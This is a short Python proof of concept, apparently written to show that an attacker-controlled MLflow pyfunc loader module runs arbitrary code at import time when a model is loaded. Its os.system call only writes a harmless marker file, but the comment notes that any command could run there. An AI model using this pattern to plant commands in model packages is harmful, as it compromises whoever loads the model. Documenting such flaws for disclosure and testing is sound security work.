# Attacker-controlled loader module. The MODULE BODY runs at import time; # mlflow.pyfunc.load_model triggers it via importlib.import_module(loader_module). import os os.system("echo MLFLOW_PYFUNC_PWNED > /tmp/mlflow_pyfunc_pwned.txt") # benign marker; any command runs here def _load_pyfunc(path): class _M: def predict(self, *a, **k): return [] return _M()